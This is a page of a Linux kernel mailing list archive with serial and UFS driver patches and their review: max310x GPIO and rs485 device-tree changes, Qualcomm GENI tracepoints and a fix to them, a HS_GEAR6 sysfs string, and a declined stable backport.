@@ -1364,17 +1364,12 @@ static int max310x_probe(struct device *dev, const struct max310x_devtype *devty
dev_dbg(dev, "Reference clock set to %i Hz\n", uartclk);
+ /*
+ * Set up each port's state before registering the gpiochip,
+ * since the gpiochip callbacks will read s->p[i].regmap as
+ * soon as gpiolib exposes the controller.
+ */
for (i = 0; i < devtype->nr; i++) {
- unsigned int line;
-
- line = find_first_zero_bit(max310x_lines, MAX310X_UART_NRMAX);
- if (line == MAX310X_UART_NRMAX) {
- ret = -ERANGE;
- goto out_uart;
- }
-
- /* Initialize port data */
- s->p[i].port.line = line;
s->p[i].port.dev = dev;
s->p[i].port.irq = irq;
s->p[i].port.type = PORT_MAX310X;
@@ -1404,20 +1399,16 @@ static int max310x_probe(struct device *dev, const struct max310x_devtype *devty
INIT_WORK(&s->p[i].md_work, max310x_md_proc);
/* Initialize queue for changing RS485 mode */
INIT_WORK(&s->p[i].rs_work, max310x_rs_proc);
-
- /* Register port */
- ret = uart_add_one_port(&max310x_uart, &s->p[i].port);
- if (ret)
- goto out_uart;
-
- set_bit(line, max310x_lines);
-
- /* Go to suspend mode */
- max310x_power(&s->p[i].port, 0);
}
#ifdef CONFIG_GPIOLIB
- /* Setup GPIO controller */
+ /*
+ * Register the GPIO controller before adding the UART ports so
+ * that consumers referencing the chip's own GPIOs from device
+ * tree (for example rs485-term-gpios = <&max310x ...>) can
+ * resolve them at uart_add_one_port() time instead of receiving
+ * -EPROBE_DEFER from their own provider.
+ */
s->gpio.owner = THIS_MODULE;
s->gpio.parent = dev;
s->gpio.label = devtype->name;
@@ -1434,6 +1425,27 @@ static int max310x_probe(struct device *dev, const struct max310x_devtype *devty
goto out_uart;
#endif
+ for (i = 0; i < devtype->nr; i++) {
+ unsigned int line;
+
+ line = find_first_zero_bit(max310x_lines, MAX310X_UART_NRMAX);
+ if (line == MAX310X_UART_NRMAX) {
+ ret = -ERANGE;
+ goto out_uart;
+ }
+ s->p[i].port.line = line;
+
+ /* Register port */
+ ret = uart_add_one_port(&max310x_uart, &s->p[i].port);
+ if (ret)
+ goto out_uart;
+
+ set_bit(line, max310x_lines);
+
+ /* Go to suspend mode */
+ max310x_power(&s->p[i].port, 0);
+ }
+
/* Setup interrupt */
ret = devm_request_threaded_irq(dev, irq, NULL, max310x_ist,
IRQF_ONESHOT | IRQF_SHARED, dev_name(dev), s);
--
2.47.3
^ permalink raw reply related
* [PATCH v3 3/3] serial: max310x: honour rs485 properties from per-channel DT subnode
From: Tapio Reijonen @ 2026-06-15 10:27 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Hugo Villeneuve
Cc: linux-kernel, linux-serial, devicetree, Tapio Reijonen
In-Reply-To: <20260615-b4-max310x-rs485-dt-v3-0-7e79f064bdd7@vaisala.com>
The MAX310x DT binding pulls in /schemas/serial/rs485.yaml via its allOf
list, advertising the rs485-* properties defined there - none of which
were honoured at runtime, because the driver never called
uart_get_rs485_mode().
All channels share the parent SPI/I2C device, so uart_get_rs485_mode()
called directly on each port would read the same chip-level fwnode for
every call. Walk dev->of_node's children for the "serial@N" subnode
with matching reg, and temporarily retarget the parent device's fwnode
while uart_get_rs485_mode() runs, so each channel picks up its own
subnode's properties. Probe is serialised, so the swap is safe.
For single-channel variants (max3107, max3108), fall back to the chip's
own fwnode when no subnode is present, so existing DTs that declare
rs485 properties at the top level keep working.
Signed-off-by: Tapio Reijonen <tapio.reijonen@vaisala.com>
---
drivers/tty/serial/max310x.c | 37 +++++++++++++++++++++++++++++++++++++
1 file changed, 37 insertions(+)
diff --git a/drivers/tty/serial/max310x.c b/drivers/tty/serial/max310x.c
index 5cb7d01e404663dc25b88bc7b4f8df61be2135ec..aee3b75fff000385a7543f099663c8a0e4a7d014 100644
--- a/drivers/tty/serial/max310x.c
+++ b/drivers/tty/serial/max310x.c
@@ -1426,6 +1426,9 @@ static int max310x_probe(struct device *dev, const struct max310x_devtype *devty
#endif
for (i = 0; i < devtype->nr; i++) {
+ struct fwnode_handle *saved_fwnode = dev_fwnode(dev);
+ struct device_node *port_np = NULL;
+ struct device_node *child;
unsigned int line;
line = find_first_zero_bit(max310x_lines, MAX310X_UART_NRMAX);
@@ -1435,6 +1438,40 @@ static int max310x_probe(struct device *dev, const struct max310x_devtype *devty
}
s->p[i].port.line = line;
+ /* Locate the matching "serial@i" DT subnode, if any. */
+ for_each_available_child_of_node(dev->of_node, child) {
+ u32 reg;
+
+ if (!of_node_name_eq(child, "serial"))
+ continue;
+ if (of_property_read_u32(child, "reg", ®))
+ continue;
+ if (reg == i) {
+ port_np = child;
+ break;
+ }
+ }
+
+ /*
+ * Temporarily retarget dev's fwnode to the per-port subnode
+ * so uart_get_rs485_mode() picks up the per-port properties.
+ * For single-port variants, fall back to the chip's own
+ * fwnode so legacy DTs that declare rs485 properties at the
+ * top level keep working.
+ */
+ if (port_np) {
+ device_set_node(dev, of_fwnode_handle(port_np));
+ ret = uart_get_rs485_mode(&s->p[i].port);
+ device_set_node(dev, saved_fwnode);
+ of_node_put(port_np);
+ if (ret)
+ goto out_uart;
+ } else if (devtype->nr == 1) {
+ ret = uart_get_rs485_mode(&s->p[i].port);
+ if (ret)
+ goto out_uart;
+ }
+
/* Register port */
ret = uart_add_one_port(&max310x_uart, &s->p[i].port);
if (ret)
--
2.47.3
^ permalink raw reply related
* Re: [PATCH v4 1/2] serial: qcom-geni: trace: Add tracepoint support for Qualcomm GENI serial
From: Greg Kroah-Hartman @ 2026-06-15 10:42 UTC (permalink / raw)
To: Praveen Talari
Cc: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers, Jiri Slaby,
konrad.dybcio, linux-kernel, linux-trace-kernel, linux-arm-msm,
linux-serial, mukesh.savaliya, aniket.randive, chandana.chiluveru
In-Reply-To: <688f0529-44ea-4cdf-bb0f-6c42cb3fa07e@oss.qualcomm.com>
On Mon, Jun 15, 2026 at 03:26:25PM +0530, Praveen Talari wrote:
> HI Steven,
>
> On 29-05-2026 19:44, Steven Rostedt wrote:
> > On Tue, 26 May 2026 23:07:39 +0530
> > Praveen Talari <praveen.talari@oss.qualcomm.com> wrote:
> >
> > > +DECLARE_EVENT_CLASS(geni_serial_data,
> > > + TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
> > > + TP_ARGS(dev, buf, len),
> > > +
> > > + TP_STRUCT__entry(__string(name, dev_name(dev))
> > > + __field(unsigned int, len)
> > > + __dynamic_array(u8, data, len)
> > > + ),
> > > +
> > > + TP_fast_assign(__assign_str(name);
> > > + __entry->len = len;
> > > + memcpy(__get_dynamic_array(data), buf, len);
> > > + ),
> > > +
> > > + TP_printk("%s: len=%u data=%s",
> > > + __get_str(name), __entry->len,
> > > + __print_hex(__get_dynamic_array(data), __entry->len))
> > > +);
> > No need to save the length of the dynamic array in __entry->len because
> > it's already saved in the metadata of the dynamic array that is stored
> > on the buffer. Instead you can have:
> >
> > DECLARE_EVENT_CLASS(geni_serial_data,
> > TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
> > TP_ARGS(dev, buf, len),
> >
> > TP_STRUCT__entry(__string(name, dev_name(dev))
> > __dynamic_array(u8, data, len)
> > ),
> >
> > TP_fast_assign(__assign_str(name);
> > memcpy(__get_dynamic_array(data), buf, len);
> > ),
> >
> > TP_printk("%s: len=%u data=%s",
> > __get_str(name), __entry->len,
> > __print_hex(__get_dynamic_array(data),
> > __get_dynamic_array_len(data)))
> > );
> >
> > That will save you 4 bytes per event on the ring buffer. And a few
> > cycles not having to store the redundant information.
>
> This patch has already been accepted and is available in linux-next.
Great, can you send a fixup for it? Or want me to revert this instead?
thanks,
greg k-h
^ permalink raw reply
* Re: [PATCH v4 1/2] serial: qcom-geni: trace: Add tracepoint support for Qualcomm GENI serial
From: Praveen Talari @ 2026-06-15 12:39 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers, Jiri Slaby,
konrad.dybcio, linux-kernel, linux-trace-kernel, linux-arm-msm,
linux-serial, mukesh.savaliya, aniket.randive, chandana.chiluveru
In-Reply-To: <2026061536-skirmish-nuptials-8fd6@gregkh>
Hi
On 15-06-2026 16:12, Greg Kroah-Hartman wrote:
> On Mon, Jun 15, 2026 at 03:26:25PM +0530, Praveen Talari wrote:
>> HI Steven,
>>
>> On 29-05-2026 19:44, Steven Rostedt wrote:
>>> On Tue, 26 May 2026 23:07:39 +0530
>>> Praveen Talari <praveen.talari@oss.qualcomm.com> wrote:
>>>
>>>> +DECLARE_EVENT_CLASS(geni_serial_data,
>>>> + TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
>>>> + TP_ARGS(dev, buf, len),
>>>> +
>>>> + TP_STRUCT__entry(__string(name, dev_name(dev))
>>>> + __field(unsigned int, len)
>>>> + __dynamic_array(u8, data, len)
>>>> + ),
>>>> +
>>>> + TP_fast_assign(__assign_str(name);
>>>> + __entry->len = len;
>>>> + memcpy(__get_dynamic_array(data), buf, len);
>>>> + ),
>>>> +
>>>> + TP_printk("%s: len=%u data=%s",
>>>> + __get_str(name), __entry->len,
>>>> + __print_hex(__get_dynamic_array(data), __entry->len))
>>>> +);
>>> No need to save the length of the dynamic array in __entry->len because
>>> it's already saved in the metadata of the dynamic array that is stored
>>> on the buffer. Instead you can have:
>>>
>>> DECLARE_EVENT_CLASS(geni_serial_data,
>>> TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
>>> TP_ARGS(dev, buf, len),
>>>
>>> TP_STRUCT__entry(__string(name, dev_name(dev))
>>> __dynamic_array(u8, data, len)
>>> ),
>>>
>>> TP_fast_assign(__assign_str(name);
>>> memcpy(__get_dynamic_array(data), buf, len);
>>> ),
>>>
>>> TP_printk("%s: len=%u data=%s",
>>> __get_str(name), __entry->len,
>>> __print_hex(__get_dynamic_array(data),
>>> __get_dynamic_array_len(data)))
>>> );
>>>
>>> That will save you 4 bytes per event on the ring buffer. And a few
>>> cycles not having to store the redundant information.
>> This patch has already been accepted and is available in linux-next.
> Great, can you send a fixup for it? Or want me to revert this instead?
can i add fix patch in same series by removing original patch(0/1)?
Thanks,
Praveen Talari
>
> thanks,
>
> greg k-h
^ permalink raw reply
* Re: [PATCH v4 1/2] serial: qcom-geni: trace: Add tracepoint support for Qualcomm GENI serial
From: Greg Kroah-Hartman @ 2026-06-15 13:31 UTC (permalink / raw)
To: Praveen Talari
Cc: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers, Jiri Slaby,
konrad.dybcio, linux-kernel, linux-trace-kernel, linux-arm-msm,
linux-serial, mukesh.savaliya, aniket.randive, chandana.chiluveru
In-Reply-To: <945821ea-5065-4e20-a1f9-32f7c9adb66a@oss.qualcomm.com>
On Mon, Jun 15, 2026 at 06:09:17PM +0530, Praveen Talari wrote:
> Hi
>
> On 15-06-2026 16:12, Greg Kroah-Hartman wrote:
> > On Mon, Jun 15, 2026 at 03:26:25PM +0530, Praveen Talari wrote:
> > > HI Steven,
> > >
> > > On 29-05-2026 19:44, Steven Rostedt wrote:
> > > > On Tue, 26 May 2026 23:07:39 +0530
> > > > Praveen Talari <praveen.talari@oss.qualcomm.com> wrote:
> > > >
> > > > > +DECLARE_EVENT_CLASS(geni_serial_data,
> > > > > + TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
> > > > > + TP_ARGS(dev, buf, len),
> > > > > +
> > > > > + TP_STRUCT__entry(__string(name, dev_name(dev))
> > > > > + __field(unsigned int, len)
> > > > > + __dynamic_array(u8, data, len)
> > > > > + ),
> > > > > +
> > > > > + TP_fast_assign(__assign_str(name);
> > > > > + __entry->len = len;
> > > > > + memcpy(__get_dynamic_array(data), buf, len);
> > > > > + ),
> > > > > +
> > > > > + TP_printk("%s: len=%u data=%s",
> > > > > + __get_str(name), __entry->len,
> > > > > + __print_hex(__get_dynamic_array(data), __entry->len))
> > > > > +);
> > > > No need to save the length of the dynamic array in __entry->len because
> > > > it's already saved in the metadata of the dynamic array that is stored
> > > > on the buffer. Instead you can have:
> > > >
> > > > DECLARE_EVENT_CLASS(geni_serial_data,
> > > > TP_PROTO(struct device *dev, const u8 *buf, unsigned int len),
> > > > TP_ARGS(dev, buf, len),
> > > >
> > > > TP_STRUCT__entry(__string(name, dev_name(dev))
> > > > __dynamic_array(u8, data, len)
> > > > ),
> > > >
> > > > TP_fast_assign(__assign_str(name);
> > > > memcpy(__get_dynamic_array(data), buf, len);
> > > > ),
> > > >
> > > > TP_printk("%s: len=%u data=%s",
> > > > __get_str(name), __entry->len,
> > > > __print_hex(__get_dynamic_array(data),
> > > > __get_dynamic_array_len(data)))
> > > > );
> > > >
> > > > That will save you 4 bytes per event on the ring buffer. And a few
> > > > cycles not having to store the redundant information.
> > > This patch has already been accepted and is available in linux-next.
> > Great, can you send a fixup for it? Or want me to revert this instead?
>
> can i add fix patch in same series by removing original patch(0/1)?
We can never rewrite a public git tree. So either revert and redo it as
a new patch, or send a fix for this one, your choice.
thanks,
greg k-h
^ permalink raw reply
* [PATCH v5 0/2] Add tracepoints support for Qualcomm GENI Serial drivers
From: Praveen Talari @ 2026-06-15 14:16 UTC (permalink / raw)
To: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers,
Greg Kroah-Hartman, Jiri Slaby, konrad.dybcio
Cc: Praveen Talari, linux-kernel, linux-trace-kernel, linux-arm-msm,
linux-serial, mukesh.savaliya, aniket.randive, chandana.chiluveru
Add tracepoints to the Qualcomm GENI (Generic Interface) serial driver.
These trace events enable runtime debugging and performance analysis of
UART operations.
The trace events cover UART termios configuration, clock setup, manual
control state, interrupt status, and actual transmitted/received data in
hexadecimal format.
Usage examples:
Enable all serial traces:
echo 1 > /sys/kernel/debug/tracing/events/qcom_geni_serial/enable
cat /sys/kernel/debug/tracing/trace_pipe
Example trace output:
2517.938432: geni_serial_clk_cfg: a94000.serial: desired_rate=1843200
clk_rate=7372800 clk_div=4 clk_idx=0
2517.938753: geni_serial_irq: a94000.serial: m_irq=0x88800000
s_irq=0x08000111 dma_tx=0x00000000 dma_rx=0x00000000
2517.938803: geni_serial_set_termios: a94000.serial: baud=115200 bpc=8
tx_trans=0x00000002 tx_par=0x00000000 rx_trans=0x00000000
rx_par=0x00000000 stop=0
2517.938807: geni_serial_set_mctrl: a94000.serial: mctrl=0x8006
uart_manual_rfr=0x00000000
2517.938818: geni_serial_get_mctrl: a94000.serial: mctrl=0x0160
geni_ios=0x00000001
2517.939165: geni_serial_irq: a94000.serial: m_irq=0x00400000
s_irq=0x00000000 dma_tx=0x00000000 dma_rx=0x00000000
2517.939592: geni_serial_tx_data: a94000.serial: tx_len=8 data=61 62 63
64 65 66 67 68
2517.940610: geni_serial_irq: a94000.serial: m_irq=0x00000001
s_irq=0x00000000 dma_tx=0x00000003 dma_rx=0x00000000
2517.942174: geni_serial_irq: a94000.serial: m_irq=0x08000000
s_irq=0x08000100 dma_tx=0x00000000 dma_rx=0x00000003
2517.942323: geni_serial_rx_data: a94000.serial: rx_len=8 data=61 62 63
64 65 66 67 68
2517.942680: geni_serial_set_mctrl: a94000.serial: mctrl=0x8000
uart_manual_rfr=0x80000002
Signed-off-by: Praveen Talari <praveen.talari@oss.qualcomm.com>
---
Changes in v5:
- Remove serial trace header patch since it was accepted and merged.
- Added a new patch to fix for remove unwanted variable len.
- Link to v4: https://lore.kernel.org/all/20260526-add-tracepoints-for-qcom-geni-serial-v4-0-e94fbaec0232@oss.qualcomm.com
Changes in v4:
- Rebased patch(02/02) on latest linux-next.
- Link to v3: https://lore.kernel.org/all/20260518-add-tracepoints-for-qcom-geni-serial-v3-0-b4addb151376@oss.qualcomm.com
Changes in v3:
- Removed \n from geni_serial_tx_data and geni_serial_rx_data events.
- Resolved aligment issues in geni_serial_data, geni_serial_tx_data and
geni_serial_rx_data events.
- Link to v2: https://lore.kernel.org/r/20260512-add-tracepoints-for-qcom-geni-serial-v2-0-a5726421b3af@oss.qualcomm.com
Changes in v2:
- removed multiple trace events for TX/RX events, instead used
DECLARE_EVENT_CLASS and DEFINE_EVENT.
- Link to v1: https://lore.kernel.org/r/20260506-add-tracepoints-for-qcom-geni-serial-v1-0-544b22612e08@oss.qualcomm.com
To: Steven Rostedt <rostedt@goodmis.org>
To: Masami Hiramatsu <mhiramat@kernel.org>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Jiri Slaby <jirislaby@kernel.org>
To: konrad.dybcio@oss.qualcomm.com
Cc: linux-kernel@vger.kernel.org
Cc: linux-trace-kernel@vger.kernel.org
Cc: linux-arm-msm@vger.kernel.org
Cc: linux-serial@vger.kernel.org
Cc: mukesh.savaliya@oss.qualcomm.com
Cc: aniket.randive@oss.qualcomm.com
Cc: chandana.chiluveru@oss.qualcomm.com
---
Praveen Talari (2):
serial: qcom-geni: trace: Drop redundant len field from geni_serial_data
serial: qcom-geni: Add tracepoints for Qualcomm GENI serial driver
drivers/tty/serial/qcom_geni_serial.c | 27 +++++++++++++++++++++++----
include/trace/events/qcom_geni_serial.h | 7 +++----
2 files changed, 26 insertions(+), 8 deletions(-)
---
base-commit: c425609d6ac4012c8bbf01ec2e10e801b1923a7b
change-id: 20260427-add-tracepoints-for-qcom-geni-serial-948777218b7b
Best regards,
--
Praveen Talari <praveen.talari@oss.qualcomm.com>
^ permalink raw reply
* [PATCH v5 1/2] serial: qcom-geni: trace: Drop redundant len field from geni_serial_data
From: Praveen Talari @ 2026-06-15 14:16 UTC (permalink / raw)
To: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers,
Greg Kroah-Hartman, Jiri Slaby, konrad.dybcio
Cc: Praveen Talari, linux-kernel, linux-trace-kernel, linux-arm-msm,
linux-serial, mukesh.savaliya, aniket.randive, chandana.chiluveru
In-Reply-To: <20260615-add-tracepoints-for-qcom-geni-serial-v5-0-2efa4c97e0e2@oss.qualcomm.com>
The dynamic array stored in the ring buffer already carries its own
length in the array metadata. There is no need to also store it as a
separate scalar field in the entry struct.
Drop __field(unsigned int, len) and the corresponding __entry->len
assignment, and use __get_dynamic_array_len(data) in the TP_printk for
both the len=%u format argument and the __print_hex() size argument.
This saves 4 bytes per event on the ring buffer.
Signed-off-by: Praveen Talari <praveen.talari@oss.qualcomm.com>
---
include/trace/events/qcom_geni_serial.h | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/include/trace/events/qcom_geni_serial.h b/include/trace/events/qcom_geni_serial.h
index 417ec01f9fc8..e1aa551d525e 100644
--- a/include/trace/events/qcom_geni_serial.h
+++ b/include/trace/events/qcom_geni_serial.h
@@ -97,18 +97,17 @@ DECLARE_EVENT_CLASS(geni_serial_data,
TP_ARGS(dev, buf, len),
TP_STRUCT__entry(__string(name, dev_name(dev))
- __field(unsigned int, len)
__dynamic_array(u8, data, len)
),
TP_fast_assign(__assign_str(name);
- __entry->len = len;
memcpy(__get_dynamic_array(data), buf, len);
),
TP_printk("%s: len=%u data=%s",
- __get_str(name), __entry->len,
- __print_hex(__get_dynamic_array(data), __entry->len))
+ __get_str(name), __get_dynamic_array_len(data),
+ __print_hex(__get_dynamic_array(data),
+ __get_dynamic_array_len(data)))
);
DEFINE_EVENT(geni_serial_data, geni_serial_tx_data,
--
2.34.1
^ permalink raw reply related
* [PATCH v5 2/2] serial: qcom-geni: Add tracepoints for Qualcomm GENI serial driver
From: Praveen Talari @ 2026-06-15 14:16 UTC (permalink / raw)
To: Steven Rostedt, Masami Hiramatsu, Mathieu Desnoyers,
Greg Kroah-Hartman, Jiri Slaby, konrad.dybcio
Cc: Praveen Talari, linux-kernel, linux-trace-kernel, linux-arm-msm,
linux-serial, mukesh.savaliya, aniket.randive, chandana.chiluveru
In-Reply-To: <20260615-add-tracepoints-for-qcom-geni-serial-v5-0-2efa4c97e0e2@oss.qualcomm.com>
Add tracing to the Qualcomm GENI serial driver to improve runtime
observability.
Trace hooks are added at key points including termios and clock
configuration, manual control get/set, interrupt handling, and data
TX/RX paths.
Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Signed-off-by: Praveen Talari <praveen.talari@oss.qualcomm.com>
---
v2->v3:
- Updated commit text(removed example as it was available on cover
letter).
---
drivers/tty/serial/qcom_geni_serial.c | 27 +++++++++++++++++++++++----
1 file changed, 23 insertions(+), 4 deletions(-)
diff --git a/drivers/tty/serial/qcom_geni_serial.c b/drivers/tty/serial/qcom_geni_serial.c
index d81b539cff7f..4b62e58d4918 100644
--- a/drivers/tty/serial/qcom_geni_serial.c
+++ b/drivers/tty/serial/qcom_geni_serial.c
@@ -7,6 +7,9 @@
/* Disable MMIO tracing to prevent excessive logging of unwanted MMIO traces */
#define __DISABLE_TRACE_MMIO__
+#define CREATE_TRACE_POINTS
+#include <trace/events/qcom_geni_serial.h>
+
#include <linux/clk.h>
#include <linux/console.h>
#include <linux/io.h>
@@ -226,7 +229,7 @@ static void qcom_geni_serial_config_port(struct uart_port *uport, int cfg_flags)
static unsigned int qcom_geni_serial_get_mctrl(struct uart_port *uport)
{
unsigned int mctrl = TIOCM_DSR | TIOCM_CAR;
- u32 geni_ios;
+ u32 geni_ios = 0;
if (uart_console(uport)) {
mctrl |= TIOCM_CTS;
@@ -236,6 +239,8 @@ static unsigned int qcom_geni_serial_get_mctrl(struct uart_port *uport)
mctrl |= TIOCM_CTS;
}
+ trace_geni_serial_get_mctrl(uport->dev, mctrl, geni_ios);
+
return mctrl;
}
@@ -254,6 +259,8 @@ static void qcom_geni_serial_set_mctrl(struct uart_port *uport,
if (port->manual_flow && !(mctrl & TIOCM_RTS) && !uport->suspended)
uart_manual_rfr = UART_MANUAL_RFR_EN | UART_RFR_NOT_READY;
writel(uart_manual_rfr, uport->membase + SE_UART_MANUAL_RFR);
+
+ trace_geni_serial_set_mctrl(uport->dev, mctrl, uart_manual_rfr);
}
static const char *qcom_geni_serial_get_type(struct uart_port *uport)
@@ -684,6 +691,8 @@ static void qcom_geni_serial_start_tx_dma(struct uart_port *uport)
xmit_size = kfifo_out_linear_ptr(&tport->xmit_fifo, &tail,
UART_XMIT_SIZE);
+ trace_geni_serial_tx_data(uport->dev, tail, xmit_size);
+
qcom_geni_set_rs485_mode(uport, SER_RS485_RTS_ON_SEND);
qcom_geni_serial_setup_tx(uport, xmit_size);
@@ -910,8 +919,10 @@ static void qcom_geni_serial_handle_rx_dma(struct uart_port *uport, bool drop)
return;
}
- if (!drop)
+ if (!drop) {
+ trace_geni_serial_rx_data(uport->dev, port->rx_buf, rx_in);
handle_rx_uart(uport, rx_in);
+ }
ret = geni_se_rx_dma_prep(&port->se, port->rx_buf,
DMA_RX_BUF_SIZE,
@@ -1082,6 +1093,10 @@ static irqreturn_t qcom_geni_serial_isr(int isr, void *dev)
geni_status = readl(uport->membase + SE_GENI_STATUS);
dma = readl(uport->membase + SE_GENI_DMA_MODE_EN);
m_irq_en = readl(uport->membase + SE_GENI_M_IRQ_EN);
+
+ trace_geni_serial_irq(uport->dev, m_irq_status, s_irq_status,
+ dma_tx_status, dma_rx_status);
+
writel(m_irq_status, uport->membase + SE_GENI_M_IRQ_CLEAR);
writel(s_irq_status, uport->membase + SE_GENI_S_IRQ_CLEAR);
writel(dma_tx_status, uport->membase + SE_DMA_TX_IRQ_CLR);
@@ -1294,8 +1309,8 @@ static int geni_serial_set_rate(struct uart_port *uport, unsigned int baud)
return -EINVAL;
}
- dev_dbg(port->se.dev, "desired_rate = %u, clk_rate = %lu, clk_div = %u, clk_idx = %u\n",
- baud * sampling_rate, clk_rate, clk_div, clk_idx);
+ trace_geni_serial_clk_cfg(uport->dev, baud * sampling_rate, clk_rate,
+ clk_div, clk_idx);
uport->uartclk = clk_rate;
port->clk_rate = clk_rate;
@@ -1455,6 +1470,10 @@ static void qcom_geni_serial_set_termios(struct uart_port *uport,
writel(bits_per_char, uport->membase + SE_UART_TX_WORD_LEN);
writel(bits_per_char, uport->membase + SE_UART_RX_WORD_LEN);
writel(stop_bit_len, uport->membase + SE_UART_TX_STOP_BIT_LEN);
+
+ trace_geni_serial_set_termios(uport->dev, baud, bits_per_char,
+ tx_trans_cfg, tx_parity_cfg, rx_trans_cfg,
+ rx_parity_cfg, stop_bit_len);
}
#ifdef CONFIG_SERIAL_QCOM_GENI_CONSOLE
--
2.34.1
^ permalink raw reply related
* [PATCH] ufs: Add HS_GEAR6 string in power_info/gear sysfs output
From: himanshubatra @ 2026-06-15 14:26 UTC (permalink / raw)
To: Alim Akhtar, Avri Altman, Bart Van Assche
Cc: James E.J. Bottomley, Martin K. Petersen, linux-scsi,
linux-kernel, linux-serial, vamshigajjela, manugautam,
himanshubatra
In power_info/gear sysfs, currently it supports output only till gear 5.
If operating mode is gear 6, it is giving output as "UNKNOWN".
Add support for HS_GEAR6 string in sysfs output when operating mode
is gear 6.
Signed-off-by: himanshubatra <himanshubatra@google.com>
---
drivers/ufs/core/ufs-sysfs.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/ufs/core/ufs-sysfs.c b/drivers/ufs/core/ufs-sysfs.c
index 99af3c73f1af..d1f5041fc3c8 100644
--- a/drivers/ufs/core/ufs-sysfs.c
+++ b/drivers/ufs/core/ufs-sysfs.c
@@ -54,6 +54,7 @@ static const char *ufs_hs_gear_to_string(enum ufs_hs_gear_tag gear)
case UFS_HS_G3: return "HS_GEAR3";
case UFS_HS_G4: return "HS_GEAR4";
case UFS_HS_G5: return "HS_GEAR5";
+ case UFS_HS_G6: return "HS_GEAR6";
default: return "UNKNOWN";
}
}
--
2.54.0.1189.g8c84645362-goog
^ permalink raw reply related
* Re: [PATCH v2 6.12.y 00/10] serial: 8250_dw: backport BUSY deassert series
From: Greg Kroah-Hartman @ 2026-06-16 3:43 UTC (permalink / raw)
To: Ilpo Järvinen
Cc: Ionut Nechita (Wind River), stable, Andy Shevchenko, wander,
chris.friesen, linux-serial
In-Reply-To: <c9f3545f-4522-4b78-7398-b364a4033a77@linux.intel.com>
On Wed, May 13, 2026 at 01:16:31PM +0300, Ilpo Järvinen wrote:
> On Wed, 13 May 2026, Ionut Nechita (Wind River) wrote:
>
> > From: Ionut Nechita <ionut.nechita@windriver.com>
> >
> > Hi Greg, Ilpo,
> >
> > This is v2 of the 8250_dw BUSY deassert backport to 6.12.y,
> > addressing Ilpo's review feedback on v1.
>
> FYI, this came up yesterday related to guard()s vs unlock variants:
>
> https://lore.kernel.org/linux-serial/cover.1778592805.git.jnilo@free.fr/
Yeah, I'm not going to take these now, I'd like to see a lot more
testing and some actual reasons why this is needed in this tree. So far
windriver's track-record for backports is really low/bad so I'll just
drop them from my review queue right now.
thanks,
greg k-h
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox